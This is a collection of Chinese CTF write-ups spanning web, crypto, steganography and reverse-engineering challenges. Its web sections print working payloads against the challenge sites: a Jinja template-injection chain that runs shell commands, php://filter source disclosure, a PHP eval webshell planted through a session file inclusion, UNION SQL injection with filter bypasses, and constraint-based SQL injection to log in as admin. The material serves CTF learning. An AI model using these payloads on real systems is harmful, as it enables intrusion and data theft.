1.上网认证系统 这里的高度和宽度有差别 第一想法可能是文件高度隐藏了flag 但是修改高度后没有其他信息 说明不是这个解法 6.后台管理系统 解题思路: 根据NES提示可以得知是加密了N次。DES的加密是56个bit+8个key,而超过64位的会被忽略,而这下面key中有48个就可以猜出其中有6组KEY,加密顺序从左往右。 建立一个脚本,取KEY中8个字符为一组,从后往前逐渐解密,即可获取flag 8.Blog: WP: 表达式可执行,且返回值为2, 然后可通过一些payload来注入获取系统信息 {{".class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen("cat c4ca4238a0b923820dcc129a6f75849b.py").read()}} 所以flag为flag{22/Apr/2020:17:36:06 +0800} 上来没思路还是随便输,不出所料错误 接着运行:得到提示 看了题解发现当你拉大这个窗口的时候会出现输入框(太坑了。。) 随便输入出现提示信息:flag error 接着往上找,找到进入函数的地方
进去后就是一个登陆界面 观察他的url 发现他上传了一个为action的参数
扫描这个网站可以扫出phpinfo
http://4550acc62687ba5c.yunyansec.com/info.php
可知他是linux系统
由于allowurl_include是关闭的所以就不能用input://协议data://协议来getshell(如果是windows系统是可以绕过的)
所以我们可以通过 php://filter/ ( 在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出)来下载它的源码
这是windows和linux都可以使用的方法
php://filter/read=convert.base64-encode/resource=
只要用base64解码后就是他的源码 所以我们就把他们的源码都给抄下来看看
在login的源码里看到了他用username生成一个session文件
$_SESSION['username'] = base64_encode($row[0]);
并且在phpinfo可以找到存放session文件的地址就是默认的/var/lib/php5
文件
引号内解码后就是1231230
那么我们现在的思路就来了
注册个含有恶意代码的id
然后用文件包含漏洞解析恶意代码
如果username过短会导致解析错误 这是由base64解码方式导致的 四位一组 刚好会把base64的开头一位或两位和前面的内容一起解析 我们能够修改的就只有base64的长度 只要让他是三位数就可以了
于是我注册了123123123123123123123123123123123123123123123123123123123123123<?php eval($_GET[a]) ?>
放进去解析一下 成功了
我们就可以给自己传的一句话传点东西了
进去后有两个页面可以显示
发现第二个窗口有参数可以输入
猜测是注入问题
测试输入参数测试注入是否存在,发现屏蔽空格,可以使用一些绕过空格的字符串如//
第一步判断是否有注入点
输入
/%26//0
输入
/%26//1
判断是有注入点
第二步
判断有几列,输入payload
(因为order by被屏蔽,所以用相同的group)
/group//by//8
此时输入8没有返回证明有7列
第三步:查找数据库名
输入payload
-1//union//select//1,database(),3,4,5,6,7
查询到数据库名为web
第四步:查表名
输入payload
/union//select//1,group_concat(table_name),3,4,5,6,7//from//information_schema.tables//where//!(table_schema<>"web")
查询到flag表和word1表
第五步:查字段名
推测flag在flag表中,输入payload
-1//union//select//1,group_concat(column_name),3,4,5,6,7//from//information_schema.columns//where//!(table_name<>"flag")
查询到id和flag字段
第六步:查的flag
输入payload
/union//select//1,flag,3,4,5,6,7//from//flag
得到flag
这道题目给了一个flag.rar后缀的压缩包 但是解压时候会需要密码
之前去kali里面进行了各种密码爆破手段 都没有成功 分析题目后判断这里是考了伪加密的知识(伪加密知识详解
https://blog.csdn.net/weixin_41687289/article/details/82695801)
伪加密就是在十六进制文件下修改了几个地方 使其打开的时候会出现本身没有的加密密码 我们解题则需要将这些修改的伪加密改回去
将rar压缩包在notepad++或其他类似软件下打开 这里我用的是notepad++
然后修改加密注意点为00 00 (在notepad++文件下修改方式是按下alt同时鼠标选中要修改的地方 直接修改即可)
修改保存后可以解压出flag文件 修改后缀为png即可查看flag
4. 手绘 (http://file.yunyansec.com/timg.png)
打开后显示的是一张png图片 将其保存到桌面
一般拿到图片的题目后先查看属性 看看有没有重要信息
在stegsolve中打开也没有找到有用的信息
在修改高度的时候发现了png
考虑是不是里面包含了其他东西 拖进kali里面进行文件分离
binwalk加dd命令先分离 发现分离出来一个和原图一模一样的图片
两个图片进行盲水印的操作
执行代码 python bwm.py decode timg.png 1.png flag.png 即可得到flag.png的flag
涉及知识点:文件下载漏洞
解题思路:
发现可以下载网页内的任意图片 猜测是否存在任意文件下载漏洞
查看页面源码
发现都是访问download.php
尝试访问download.php?name=download.php发现无法下载
下载flag.php
发现还是下载不了
这时尝试去下载password文件
flag的base64编码
原理是基于约束的sql注入攻击
我们首先注册一个admin账号,发现用户名已存在
利用在SQL中执行字符串处理时,字符串末尾的空格符将会被删除的原理
我们再注册一个admin[许多空白符]的账号+随意输入的密码
最后再登录admin账号+随意输入的密码即可获得flag
知识点:
一长串的字符就是加密密文,key应该是密钥
知识点:
只有“更换主题”那个页面可以操作,而有一个模板可以操作,通过post时使用大括号{}发现能使用,且不会反馈错误信息。
{{".class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen("ls").read()}}
上面这句话是查看当前页面下有哪些文件
查看这个py脚本,然后即可发现flag
解题思路:
首先访问题目地址,发现是一个web日志,由于浏览器查看不方便,所以我使用迅雷将日志文件下载到本地
查看日志文件根据经验得知HEAD和GET请求为爆破敏感文件和目录,POST请求是爆破账户名和密码登陆
所以我们过滤掉非POST请求的数据得到如图所示
我们可以看见请求爆大小99%都是1779结合经验判断这是没有爆破成功的请求包,所以我们只需要找到请求包大小不是1779的即为爆破成功的请求包。
即为这一条请求
10.xbor
fnR5f2N7KXt5LyooLn59Kyp6fSp+LS96KCwpIX15LHt+Liope2U=
首先根据结尾的等号盲猜base64 解密后得到一串乱码
~tyc{){y/(.~}+z}~-/z(,)!}y,{~.){e
根据题目提示解xor 脚本如下
所需工具:ApkScan-PKID、AndroidKiller V1.3.1
安装打开后是这个样子的
起初我们随便输入,发现注册错误,没什么用。这时用到工具ApkScan-PKID,将文件拖进APK的查壳工具,发现没壳(如果发现壳,还要进行脱壳)
发现没有壳,咱们打开AndroidKiller V1.3.1,起初第一步思考的是直接搜索flag会不会出来,发现不尽人意
AndroidKiller V1.3.1工具栏上有个ldquo;字符串rdquo;他会对字符串进行分析,就像注册码错误这种
我们点击字符串,发现flag立马出来了
想要不这么凑巧的解题咱们可以看代码,下面是逆向的知识
延续上一题的思路,搜索flag,查字符串,都没得效果(不上图了)
这时候我们去搜索一下ldquo;无效用户名rdquo;,在整个项目中查找
双击进入改字符的位置,往下一翻,就看到了flag
打开后:
随便输入一些内容:
出现了假的flag。。。
接下来进行逆向分析:
首先PE查壳一下:
是没壳的
根据提示:有个关键函数是没有运行的
首先打开IDA分析,看到main函数之前有个函数,并且main、函数内没有函数跳转到那
可能是提示里的关键函数
接着打开OD进行动态分析
运行一遍
当程序运行到这时直接关闭,并没有跳转的上面那个函数
我试着修改这个函数的跳转位置
base64解密:
14. RE2
打开软件:
还是先PE查壳,是无壳的
接着打开OD分析
首先搜索下字符串
找到flag error地方,并跳转到那里
设置断点进行调试
慢慢找到进行flag匹配的地方
也就是这个call函数
这时我们就看到了寄存器窗口中的flag
发表评论